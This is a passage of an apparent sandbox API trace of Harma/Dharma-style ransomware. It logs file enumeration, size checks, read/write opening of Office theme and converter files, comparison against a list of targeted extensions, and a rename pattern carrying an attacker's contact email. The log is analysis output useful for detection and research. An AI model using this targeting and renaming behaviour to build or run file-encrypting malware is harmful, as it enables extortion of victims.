Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0135.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0135.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.439] lstrlenW (lpString=".doc") returned 4 [0135.439] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0135.439] lstrlenW (lpString=".docx") returned 5 [0135.439] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0135.440] lstrlenW (lpString=".pdf") returned 4 [0135.440] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0135.440] lstrlenW (lpString=".xls") returned 4 [0135.440] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0135.440] lstrlenW (lpString=".xlsx") returned 5 [0135.440] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0135.440] lstrlenW (lpString=".ppt") returned 4 [0135.440] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0135.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.440] lstrlenW (lpString=".zip") returned 4 [0135.440] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0135.440] lstrlenW (lpString=".rar") returned 4 [0135.440] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0135.440] lstrlenW (lpString=".bz2") returned 4 [0135.440] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0135.440] lstrlenW (lpString=".7z") returned 3 [0135.440] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0135.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.441] lstrlenW (lpString=".dbf") returned 4 [0135.441] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0135.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.441] lstrlenW (lpString=".1cd") returned 4 [0135.441] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0135.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.441] lstrlenW (lpString=".jpg") returned 4 [0135.441] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0135.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.441] lstrlenW (lpString=".doc") returned 4 [0135.441] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0135.441] lstrlenW (lpString=".docx") returned 5 [0135.441] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0135.441] lstrlenW (lpString=".pdf") returned 4 [0135.441] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0135.441] lstrlenW (lpString=".xls") returned 4 [0135.441] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0135.441] lstrlenW (lpString=".xlsx") returned 5 [0135.441] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0135.441] lstrlenW (lpString=".ppt") returned 4 [0135.441] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0135.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.442] lstrlenW (lpString=".zip") returned 4 [0135.442] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0135.442] lstrlenW (lpString=".rar") returned 4 [0135.442] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0135.442] lstrlenW (lpString=".bz2") returned 4 [0135.442] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0135.442] lstrlenW (lpString=".7z") returned 3 [0135.442] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0135.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.442] lstrlenW (lpString=".dbf") returned 4 [0135.442] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0135.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.442] lstrlenW (lpString=".1cd") returned 4 [0135.442] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0135.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0135.442] lstrlenW (lpString=".jpg") returned 4 [0135.442] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0135.442] lstrcmpiW (lpString1=".ELM", lpString2=".harma") returned -1 [0135.442] lstrlenW (lpString="AFTRNOON.ELM") returned 12 [0135.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0135.533] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=58766) returned 1 [0135.533] CloseHandle (hObject=0x21c) returned 1 [0135.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0135.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0135.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.563] lstrlenW (lpString=".doc") returned 4 [0135.563] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.563] lstrlenW (lpString=".docx") returned 5 [0135.563] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0135.563] lstrlenW (lpString=".pdf") returned 4 [0135.563] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.563] lstrlenW (lpString=".xls") returned 4 [0135.563] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.563] lstrlenW (lpString=".xlsx") returned 5 [0135.563] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0135.563] lstrlenW (lpString=".ppt") returned 4 [0135.563] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.563] lstrlenW (lpString=".zip") returned 4 [0135.563] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.563] lstrlenW (lpString=".rar") returned 4 [0135.563] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.563] lstrlenW (lpString=".bz2") returned 4 [0135.563] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.563] lstrlenW (lpString=".7z") returned 3 [0135.563] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.563] lstrlenW (lpString=".dbf") returned 4 [0135.563] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.563] lstrlenW (lpString=".1cd") returned 4 [0135.563] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0135.563] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.563] lstrlenW (lpString=".jpg") returned 4 [0135.564] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0135.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.564] lstrlenW (lpString=".doc") returned 4 [0135.564] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.564] lstrlenW (lpString=".docx") returned 5 [0135.564] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0135.564] lstrlenW (lpString=".pdf") returned 4 [0135.564] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.564] lstrlenW (lpString=".xls") returned 4 [0135.564] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.564] lstrlenW (lpString=".xlsx") returned 5 [0135.564] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0135.564] lstrlenW (lpString=".ppt") returned 4 [0135.564] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.564] lstrlenW (lpString=".zip") returned 4 [0135.564] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.564] lstrlenW (lpString=".rar") returned 4 [0135.564] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.564] lstrlenW (lpString=".bz2") returned 4 [0135.564] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.564] lstrlenW (lpString=".7z") returned 3 [0135.564] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.564] lstrlenW (lpString=".dbf") returned 4 [0135.564] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.564] lstrlenW (lpString=".1cd") returned 4 [0135.564] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0135.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0135.565] lstrlenW (lpString=".jpg") returned 4 [0135.565] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0135.565] lstrcmpiW (lpString1=".ELM", lpString2=".harma") returned -1 [0135.565] lstrlenW (lpString="CAPSULES.ELM") returned 12 [0135.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0135.615] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=57786) returned 1 [0135.615] CloseHandle (hObject=0x21c) returned 1 [0135.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0135.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0135.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.615] lstrlenW (lpString=".doc") returned 4 [0135.615] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.615] lstrlenW (lpString=".docx") returned 5 [0135.615] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0135.615] lstrlenW (lpString=".pdf") returned 4 [0135.615] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.615] lstrlenW (lpString=".xls") returned 4 [0135.615] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.615] lstrlenW (lpString=".xlsx") returned 5 [0135.615] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0135.616] lstrlenW (lpString=".ppt") returned 4 [0135.616] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.616] lstrlenW (lpString=".zip") returned 4 [0135.616] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.616] lstrlenW (lpString=".rar") returned 4 [0135.616] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.616] lstrlenW (lpString=".bz2") returned 4 [0135.616] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.616] lstrlenW (lpString=".7z") returned 3 [0135.616] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.616] lstrlenW (lpString=".dbf") returned 4 [0135.616] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.616] lstrlenW (lpString=".1cd") returned 4 [0135.616] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0135.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.616] lstrlenW (lpString=".jpg") returned 4 [0135.616] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0135.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.616] lstrlenW (lpString=".doc") returned 4 [0135.616] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.616] lstrlenW (lpString=".docx") returned 5 [0135.617] lstrcmpiW (lpString1=".docx", lpString2="S.ELM") returned -1 [0135.617] lstrlenW (lpString=".pdf") returned 4 [0135.617] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.617] lstrlenW (lpString=".xls") returned 4 [0135.617] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.617] lstrlenW (lpString=".xlsx") returned 5 [0135.617] lstrcmpiW (lpString1=".xlsx", lpString2="S.ELM") returned -1 [0135.617] lstrlenW (lpString=".ppt") returned 4 [0135.617] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.617] lstrlenW (lpString=".zip") returned 4 [0135.617] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.617] lstrlenW (lpString=".rar") returned 4 [0135.617] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.617] lstrlenW (lpString=".bz2") returned 4 [0135.617] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.617] lstrlenW (lpString=".7z") returned 3 [0135.617] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.617] lstrlenW (lpString=".dbf") returned 4 [0135.617] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.617] lstrlenW (lpString=".1cd") returned 4 [0135.617] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0135.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned 77 [0135.617] lstrlenW (lpString=".jpg") returned 4 [0135.617] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0135.618] lstrcmpiW (lpString1=".ELM", lpString2=".harma") returned -1 [0135.618] lstrlenW (lpString="RIPPLE.ELM") returned 10 [0135.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0135.619] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=66016) returned 1 [0135.619] CloseHandle (hObject=0x21c) returned 1 [0135.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm")) returned 0x20 [0135.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0135.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.619] lstrlenW (lpString=".doc") returned 4 [0135.619] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.619] lstrlenW (lpString=".docx") returned 5 [0135.619] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0135.619] lstrlenW (lpString=".pdf") returned 4 [0135.620] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.620] lstrlenW (lpString=".xls") returned 4 [0135.620] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.620] lstrlenW (lpString=".xlsx") returned 5 [0135.620] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0135.620] lstrlenW (lpString=".ppt") returned 4 [0135.620] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.620] lstrlenW (lpString=".zip") returned 4 [0135.620] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.620] lstrlenW (lpString=".rar") returned 4 [0135.620] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.620] lstrlenW (lpString=".bz2") returned 4 [0135.620] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.620] lstrlenW (lpString=".7z") returned 3 [0135.620] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.620] lstrlenW (lpString=".dbf") returned 4 [0135.620] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.620] lstrlenW (lpString=".1cd") returned 4 [0135.620] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0135.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.620] lstrlenW (lpString=".jpg") returned 4 [0135.620] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0135.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.621] lstrlenW (lpString=".doc") returned 4 [0135.621] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0135.621] lstrlenW (lpString=".docx") returned 5 [0135.621] lstrcmpiW (lpString1=".docx", lpString2="E.ELM") returned -1 [0135.621] lstrlenW (lpString=".pdf") returned 4 [0135.621] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0135.621] lstrlenW (lpString=".xls") returned 4 [0135.621] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0135.621] lstrlenW (lpString=".xlsx") returned 5 [0135.621] lstrcmpiW (lpString1=".xlsx", lpString2="E.ELM") returned -1 [0135.621] lstrlenW (lpString=".ppt") returned 4 [0135.621] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0135.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.621] lstrlenW (lpString=".zip") returned 4 [0135.621] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0135.621] lstrlenW (lpString=".rar") returned 4 [0135.621] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0135.621] lstrlenW (lpString=".bz2") returned 4 [0135.621] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0135.621] lstrlenW (lpString=".7z") returned 3 [0135.621] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0135.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.622] lstrlenW (lpString=".dbf") returned 4 [0135.622] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0135.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.622] lstrlenW (lpString=".1cd") returned 4 [0135.622] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0135.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0135.622] lstrlenW (lpString=".jpg") returned 4 [0135.622] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0135.622] lstrcmpiW (lpString1=".INF", lpString2=".harma") returned 1 [0135.622] lstrlenW (lpString="RIPPLE.INF") returned 10 [0135.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0135.622] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=487) returned 1 [0135.622] CloseHandle (hObject=0x21c) returned 1 [0135.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf")) returned 0x20 [0135.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0135.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0135.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF") returned 73 [0135.623] lstrlenW (lpString=".doc") returned 4 [0135.623] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0135.623] lstrlenW (lpString=".docx") returned 5 [0135.623] lstrcmpiW (lpString1=".docx", lpString2="E.INF") returned -1 [0135.623] lstrlenW (lpString=".pdf") returned 4 [0135.623] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0135.623] lstrlenW (lpString=".xls") returned 4 [0135.623] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0135.623] lstrlenW (lpString=".xlsx") returned 5 [0135.623] lstrcmpiW (lpString1=".xlsx", lpString2="E.INF") returned -1 [0135.623] lstrlenW (lpString=".ppt") returned 4 [0135.623] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0135.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 